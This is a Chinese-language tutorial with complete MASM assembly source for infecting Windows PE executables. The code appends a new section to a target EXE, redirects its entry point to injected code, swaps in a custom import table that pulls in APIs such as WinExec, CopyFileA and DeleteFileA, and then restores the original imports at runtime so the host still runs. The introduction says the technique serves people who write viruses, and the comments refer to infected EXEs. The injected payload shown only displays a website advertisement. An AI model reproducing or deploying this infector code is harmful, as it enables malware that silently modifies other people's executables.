这次教给大家的是,如何利用程序修改PE文件引入表,并且程序本身还可以自动装载原引入表。
什么?你不知道引入表是什么东东?
那你还是先去复习一下PE文件格式再来吧。
什么???你问我有什么用处?
用处当然不小,如果你喜欢做病毒的话,利用本文章讲述的方法,可以让你的病毒在WINDOWS下畅通无阻。
.386p
.model flat,stdcall
include win32.inc
extrn MessageBoxA:proc
extrn Exitprocess:proc
extrn GetModuleHandleA:proc
extrn CreateFileA:proc
extrn SetFilePointer:proc
extrn Readfile:proc
extrn Writefile:proc
extrn CloseHandle:proc
;本程序中所用到的API函数的声明
;------------------------------------(上面的)--
GENERIC_READ equ 80000000h
GENERIC_WRITE equ 40000000h
FILE_SHARE_READ equ 1h
FILE_SHARE_WRITE equ 2h
OPEN_EXISTING equ 3
FILE_ATTRIBUTE_NORMAL equ 80h
INVALID_HANDLE_value equ -1
FILE_BEGIN equ 0
FILE_CURRENT equ 1
FILE_END equ 2
FILE_ATTRIBUTE_ARCHIVE equ 20h
PAGE_READWRITE equ 4
FILE_MAP_WRITE equ SECTION_MAP_WRITE
SECTION_MAP_WRITE equ 0002h
;
;文件操作API函数所要用到的相关的常量声明
;------------------------------------(上面的)--
IMAGE_NUMBEROF_DIRECTORY_ENTRIES equ 16
IMAGE_DATA_DIRECTORY STRUCT
VirtualAddress dword ?
isize dword ?
IMAGE_DATA_DIRECTORY ENDS
IMAGE_OPTIONAL_HEADER32 STRUCT
Magic WORD ?
MajorLinkerVersion BYTE ?
MinorLinkerVersion BYTE ?
SizeOfCode dword ?
SizeOfInitializedData dword ?
SizeOfUninitializedData dword ?
AddressOfEntryPoint dword ?
BaseOfCode dword ?
BaseOfData dword ?
ImageBase dword ?
SectionAlignment dword ?
FileAlignment dword ?
MajorOperatingSystemVersion WORD ?
MinorOperatingSystemVersion WORD ?
MajorImageVersion WORD ?
MinorImageVersion WORD ?
MajorSubsystemVersion WORD ?
MinorSubsystemVersion WORD ?
Win32Versionvalue dword ?
SizeOfImage dword ?
SizeOfHeaders dword ?
CheckSum dword ?
Subsystem WORD ?
DllCharacteristics WORD ?
SizeOfStackReserve dword ?
SizeOfStackCommit dword ?
SizeOfHeapReserve dword ?
SizeOfHeapCommit dword ?
LoaderFlags dword ?
NumberOfRvaAndSizes dword ?
DataDirectory IMAGE_DATA_DIRECTORY IMAGE_NUMBEROF_DIRECTORY_ENTRIES dup(<>)
IMAGE_OPTIONAL_HEADER32 ENDS
IMAGE_FILE_HEADER STRUCT
Machine WORD ?
NumberOfSections WORD ?
TimeDateStamp dword ?
PointerToSymbolTable DWord ?
NumberOfSymbols dword ?
SizeOfOptionalHeader WORD ?
Characteristics WORD ?
IMAGE_FILE_HEADER ENDS
IMAGE_NT_HEADERS STRUCT
Signature dword ?
FileHeader IMAGE_FILE_HEADER <>
OptionalHeader IMAGE_OPTIONAL_HEADER32 <>
IMAGE_NT_HEADERS ENDS
; PE文件结构的相关声明
;------------------------------------(上面的)--
my_section struc
obj_name db '.data',0,0,0 ; 块名
virt_size dd 0 ; 块长
virt_addr dd 0 ; 该块RVA地址
raw_size dd 0 ; 该块物理长度
raw_offset dd 0 ; 该块物理偏移
unused dd 0,0,0 ; 未用
obj_flags dd 0E0000020h ; 属性 (r/w/c/x)
my_section ends
; PE文件节的结构声明(有些值可以事先填好)
;------------------------------------(上面的)--
.data
buffer db "E:\masm32\vbin\a.exe",0
; 调试时请修改上面这个文件名
;------------------------------------(上面的)--
PE_head_addr dd 0
checker_len dd 0
PE_head IMAGE_NT_HEADERS <0> ; PE文件头的结构
Section_table db 280h dup (0)
Head_len equ size PE_head+size Section_table ; PE文件头和块表的长度
Import_len equ vImport_End-v_ImportA
new_section my_section <>
hFile dd 0
now_in dd 0
now_base dd 0
now_basein dd 0
byte_read dd 0
Section_addr dd 0
temp_virt_addr dd 0
temp_raw_size dd 0
Err_Title db "非法操作",0
ErrB_str db "无法填加新节!",0
OK_Title db "提示",0
OK_Msg db "程序运行完毕!",0
; 稍后要用到的一些变量
;------------------------------------(上面的)--
.code
start:
call MakePe
call MessageBoxA,0,offset OK_Msg,offset OK_Title,64
call Exitprocess,0
; 通过调用函数来操作吧
;------------------------------------(上面的)--
;-------------------------------------------------
; 下面这个函数,主要功能是填加一个新节、修改PE
; 头、导入自建的引入表、保存原引入表地址
; 大部份内容在我的另一篇文章
; <>
; 中已有说明,详情请见那一篇文章。
; 在此只注释一下特别之处。
;-------------------------------------------------
MakePe proc uses edi esi eax ecx edx ebx
call CreateFileA,offset buffer,GENERIC_READ or GENERIC_WRITE, \
FILE_SHARE_READ or FILE_SHARE_WRITE, \
NULL,OPEN_EXISTING, \
FILE_ATTRIBUTE_NORMAL,NULL
.if eax!=INVALID_HANDLE_value
mov [hFile],eax
call SetFilePointer,[hFile],3ch,0,FILE_BEGIN
call ReadFile,[hFile],offset PE_head_addr,4,offset byte_read,0
.if eax!=0
call SetFilePointer,[hFile],[PE_head_addr],0,FILE_BEGIN
call ReadFile,[hFile],offset PE_head,Head_len,offset byte_read,0
push [PE_head.OptionalHeader.AddressOfEntryPoint]
pop [now_in]
push [PE_head.OptionalHeader.ImageBase]
pop [now_base]
;--------------------------------------------
push [PE_head.OptionalHeader.ImageBase]
pop [BASE_RVA]
;--------------------------------------------
mov eax,[now_in]
add eax,[now_base]
mov [now_basein],eax
mov [Src_addr],eax
movzx eax,[PE_head.FileHeader.SizeOfOptionalHeader]
add eax,18h
mov [Section_addr],eax
mov [checker_len],offset vend-offset vstart
movzx eax,[PE_head.FileHeader.NumberOfSections]
inc eax
mov ecx,28h
mul ecx
add eax,[Section_addr]
add eax,[PE_head_addr]
.if eax>[PE_head.OptionalHeader.SizeOfHeaders]
call MessageBoxA,0,offset ErrB_str,offset Err_Title,64
.else
mov esi,offset Section_table
;----------------------------------------------
pushad
push esi
push ecx
movzx ecx,[PE_head.FileHeader.NumberOfSections]
loops:
.if ecx==0
jmp loopend
.endif
or [esi+24h],80000000h
add esi,28h
dec ecx
jmp loops
loopend:
pop ecx
pop esi
popad
; 这篇文章的代码是从我的<>中提
; 提出来的,那个软件需要读写PE中的某些节,因
; 此我将所有节的属性全部改成符合条件的。
; 在本程序中并没有并要做这一步,但还是留下吧。
;------------------------------------(上面的)--
movzx eax,[PE_head.FileHeader.NumberOfSections]
mov ecx,28h
mul ecx
add esi,eax
inc [PE_head.FileHeader.NumberOfSections]
mov edi,offset new_section
xchg edi,esi
mov eax,[edi-28h+8]
add eax,[edi-28h+0ch]
;--------------------------------------------------
mov [temp_virt_addr],eax ;存未对齐时的RVA
; 保存此值稍后计算 SizeOfImage 值时会用到
; 请看观留意下面的代码。
;------------------------------------(上面的)--
mov ecx,[PE_head.OptionalHeader.SectionAlignment]
cdq
div ecx
test edx,edx
jz nextgoa
inc eax
nextgoa:
mul ecx
mov [new_section.virt_addr],eax
;---------------------------------------------
mov eax,[PE_head.OptionalHeader.DataDirectory(8).VirtualAddress]
mov [MI_RVA],eax
; 保存原引入表地址
;------------------------------------(上面的)--
push 0
pop [PE_head.OptionalHeader.DataDirectory(88).VirtualAddress]
; IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT清零
; 此值必须清为0,否则Win2000中,程序无法正常
; 运行。
;------------------------------------(上面的)--
mov eax,v_ImportA-vstart
add eax,[new_section.virt_addr]
mov [PE_head.OptionalHeader.DataDirectory(8).VirtualAddress],eax
mov [PE_head.OptionalHeader.DataDirectory(8).isize],Import_len
add DWord ptr [v_ImportA],eax
add DWord ptr [v_DllNameA],eax
add DWord ptr [v_FThunkA],eax
add DWord ptr [Ker_API],eax
add DWord ptr [Ker_API+4],eax
add DWord ptr [Ker_API+8],eax
add DWord ptr [Ker_API+0Ch],eax
add DWord ptr [Ker_API+10h],eax
add DWord ptr [Ker_API+14h],eax
add DWord ptr [Ker_API+18h],eax
add DWord ptr [Ker_API+1Ch],eax
add DWord ptr [Ker_API+20h],eax
add DWord ptr [Ker_API+24h],eax
add DWord ptr [Ker_API+28h],eax
add DWord ptr [Ker_API+2Ch],eax
add DWord ptr [Ker_API+30h],eax
add DWord ptr [Ker_API+34h],eax
add DWord ptr [Ker_API+38h],eax
add DWord ptr [Ker_API+3ch],eax
add DWord ptr [Ker_API+40h],eax
add DWord ptr [vGetprocAddress],eax
add DWord ptr [vGetModuleHandleA],eax
add DWord ptr [vLoadLibraryA],eax
add DWord ptr [vExitprocess],eax
add DWord ptr [vCreateFileA],eax
add DWord ptr [vCreateFileMappingA],eax
add DWord ptr [vGetTempPathA],eax
add DWord ptr [vGetTempFileNameA],eax
add DWord ptr [vlstrlen],eax
add DWord ptr [vMapViewOfFile],eax
add DWord ptr [vWriteFile],eax
add DWord ptr [vUnmapViewOfFile],eax
add DWord ptr [vCloseHandle],eax
add DWord ptr [vCopyFileA],eax
add DWord ptr [vGetModuleFileNameA],eax
add DWord ptr [vDeleteFileA],eax
add DWord ptr [vWinExec],eax
add DWord ptr [v_ImportB],eax
add DWord ptr [v_DllNameB],eax
add DWord ptr [v_FThunkB],eax
add DWord ptr [Use_API],eax
add DWord ptr [vMessageBoxA],eax
; 往PE文件中导入自建的PE引入表的信息
; 将引入表中相关地址进行定位
;------------------------------------(上面的)--
mov eax,[checker_len]
;--------------------------------------------------
mov [temp_raw_size],eax ;存未对齐时的物理大小
; 保存此值稍后计算 SizeOfImage 值时会用到
; 请看观留意下面的代码。
;------------------------------------(上面的)--
mov ecx,[PE_head.OptionalHeader.FileAlignment]
div ecx
test edx,edx
jz nextgob
inc eax
nextgob:
mul ecx
mov [new_section.raw_size],eax
mov eax,[checker_len]
mov ecx,[PE_head.OptionalHeader.SectionAlignment]
div ecx
test edx,edx
jz nextgoc
inc eax
nextgoc:
mul ecx
mov [new_section.virt_size],eax
mov eax,[edi-28h+14h]
add eax,[edi-28h+10h]
mov [new_section.raw_offset],eax
;-------------------------------------------------------
mov eax,[new_section.virt_addr]
add eax,[temp_raw_size]
mov ecx,[PE_head.OptionalHeader.SectionAlignment]
div ecx
test edx,edx
jz nextgod
inc eax
nextgod:
mul ecx
mov [PE_head.OptionalHeader.SizeOfImage],eax
; 计算SizeOfImage。
; 在上篇文章中,有人曾经提到,利用上一篇文章的
; 代码在Win2000中感染的EXE文件无法执行,原因是
; 因为Win2000对PE文件要求非常严,稍有不对的地
; 方,就无法执行,就像这个地方,在计算SizeOfImage
; 时要将两个未对齐的数相加后再对齐,然后存入
; SizeOfImage才可以在98/2000下一路通。
; 上篇文章是将两个数对齐后相加再对齐,虽然在98
; 下没问题,但是在2000下却提示:非法EXE文件
;------------------------------------(上面的)--
mov ecx,28h
rep movsb
mov eax,[new_section.virt_addr]
mov [PE_head.OptionalHeader.AddressOfEntryPoint],eax
call SetFilePointer,[hFile],[PE_head_addr],0,FILE_BEGIN
call WriteFile,[hFile],offset PE_head,Head_len,offset byte_read,0
call SetFilePointer,[hFile],[new_section.raw_offset],0,FILE_BEGIN
mov eax,offset vstart
call WriteFile,[hFile],eax,[new_section.raw_size],offset
byte_read,0
call CloseHandle,[hFile]
push 0
pop [hFile]
.endif
.endif
.endif
mov eax,0
.if [hFile]!=eax
call CloseHandle,[hFile]
.endif
ret
MakePe endp
.data
vstart:
call nowstart
nowstart:
pop ebp
sub ebp,offset nowstart
;--------------------------------------------
lea eax,[WelComeTitle+ebp]
push 64
push eax
lea eax,[WelComeMsg+ebp]
push eax
push 0
call [vMessageBoxA+ebp]
;
; 本代码对EXE文件操作后,只显示一个对话框
;------------------------------------(上面的)--
mov edx,[BASE_RVA+ebp] ;通过预先保存的基址和IMPORT地址
mov esi,[MI_RVA+ebp] ;得到当前IMPORT地址
add esi,edx
Next_DLL:
mov eax,[esi+0ch] ;读取DLL文件模块
or eax,eax
jz Dll_END
add eax,edx
mov ebx,eax
push eax
call [vGetModuleHandleA+ebp]
or eax,eax
jnz Dll_LOADED
push ebx
call [vLoadLibraryA+ebp]
or eax,eax
jnz Dll_LOADED
Exit_LOADER:
lea eax,[MI_ERR_TITLE+ebp]
push 64
push eax
lea eax,[MI_ERR_TEXTS+ebp]
push eax
push 0
call [vMessageBoxA+ebp]
push 0
call [vExitprocess+ebp]
Dll_LOADED:
mov [hDll+ebp],eax ;保存模块句柄
mov [FunTable_Count+ebp],0 ;函数表的索引 两个地址之间相隔一个双字
Next_FUNCTION:
mov edx,[BASE_RVA+ebp]
mov eax,[esi]
or eax,eax
jnz Hint_OK
mov eax,[esi+10h]
Hint_OK:
add eax,edx
add eax,[FunTable_Count+ebp]
mov ebx,[eax]
;;;;;;
mov edi,[esi+10h]
add edi,edx
add edi,[FunTable_Count+ebp]
;;;;;;
test ebx,ebx
jz Function_END
test ebx,80000000h
jnz Function_ORDINAL
add ebx,edx
add ebx,2
jmp Function_GOON
Function_ORDINAL:
and ebx,0FFFFFFFh
Function_GOON:
push ebx
push DWord ptr [hDll+ebp]
call [vGetprocAddress+ebp]
or eax,eax
jz Exit_LOADER
mov [edi],eax
add [FunTable_Count+ebp],4
jmp Next_FUNCTION
Function_END:
add esi,14h
mov edx,[BASE_RVA+ebp]
jmp Next_DLL
Dll_END:
; 程序自已导入原引入表
; 大体介绍一下原理吧,先看看当前函数所在的
; DLL文件是否已在内存中,不是就载入。
; 继而再得到函数的地址,保存之。
; 以前我在编写此处时用SoftICE调试了很长时间
; 建议你也用SoftICE或TRW2000等类似工具调试
; 一下,会受益非浅的。
;------------------------------------(上面的)--
mov eax,[Src_addr+ebp]
jmp eax
align 4
v_ImportA dd Ker_API-v_ImportA ;IMAGE_THUNK_DATA 数组指针
v_TimeDateA dd 0 ;文件建立时间
v_ForChainA dd 0 ;0
v_DllNameA dd KerName-v_ImportA ;DLL名称
v_FThunkA dd vGetprocAddress-v_ImportA ;IMAGE_THUNK_DATA 数组指针
v_ImportB dd Use_API-v_ImportA ;IMAGE_THUNK_DATA 数组指针
v_TimeDateB dd 0 ;文件建立时间
v_ForChainB dd 0 ;0
v_DllNameB dd UserName-v_ImportA ;DLL名称
v_FThunkB dd vMessageBoxA-v_ImportA ;IMAGE_THUNK_DATA 数组指针
dd 20 dup (0) ;引入表结束符
KerName db 'KERNEL32.DLL',0
Ker_API dd KAPI_A-v_ImportA
dd KAPI_B-v_ImportA
dd KAPI_C-v_ImportA
dd KAPI_D-v_ImportA
dd KAPI_E-v_ImportA
dd KAPI_F-v_ImportA
dd KAPI_G-v_ImportA
dd KAPI_H-v_ImportA
dd KAPI_I-v_ImportA
dd KAPI_J-v_ImportA
dd KAPI_K-v_ImportA
dd KAPI_L-v_ImportA
dd KAPI_M-v_ImportA
dd KAPI_N-v_ImportA
dd KAPI_O-v_ImportA
dd KAPI_P-v_ImportA
dd KAPI_Q-v_ImportA
dd 0
UserName db 'USER32.DLL',0
Use_API dd UAPI_A-v_ImportA
dd 0
vGetprocAddress dd 0
vGetModuleHandleA dd 0
vLoadLibraryA dd 0
vExitprocess dd 0
vCreateFileA dd 0
vCreateFileMappingA dd 0
vGetTempPathA dd 0
vGetTempFileNameA dd 0
vlstrlen dd 0
vMapViewOfFile dd 0
vWriteFile dd 0
vUnmapViewOfFile dd 0
vCloseHandle dd 0
vCopyFileA dd 0
vGetModuleFileNameA dd 0
vDeleteFileA dd 0
vWinExec dd 0
vMessageBoxA dd 0
dd 0
KAPI_A db 0,0,'GetprocAddress',0
KAPI_B db 0,0,'GetModuleHandleA',0
KAPI_C db 0,0,'LoadLibraryA',0
KAPI_D db 0,0,'Exitprocess',0
KAPI_E db 0,0,'CreateFileA',0
KAPI_F db 0,0,'CreateFileMappingA',0
KAPI_G db 0,0,'GetTempPathA',0
KAPI_H db 0,0,'GetTempFileNameA',0
KAPI_I db 0,0,'lstrlen',0
KAPI_J db 0,0,'MapViewOfFile',0
KAPI_K db 0,0,'WriteFile',0
KAPI_L db 0,0,'UnmapViewOfFile',0
KAPI_M db 0,0,'CloseHandle',0
KAPI_N db 0,0,'CopyFileA',0
KAPI_O db 0,0,'GetModuleFileNameA',0
KAPI_P db 0,0,'DeleteFileA',0
KAPI_Q db 0,0,'WinExec',0
UAPI_A db 0,0,'MessageBoxA',0
; 根据引入表的格式,自建的引入表。
;------------------------------------(上面的)--
align 4
vImport_End:
;----------------------------
MI_RVA dd 0
BASE_RVA dd 0
hDll dd 0
FunTable_Count dd 0 ;函数表中的索引
MI_ERR_TITLE db "系统错误!",0
MI_ERR_TEXTS db "资源无法装入,请与软件供应商联系!",0
;----------------------------
Src_addr dd 0
WelComeMsg db '欢迎光临我的网站 Http://www.vbin.org',0
WelComeTitle db '彬 (vBin) 欢迎您!',0
; 相关变量
;------------------------------------(上面的)--
vend:
end start
|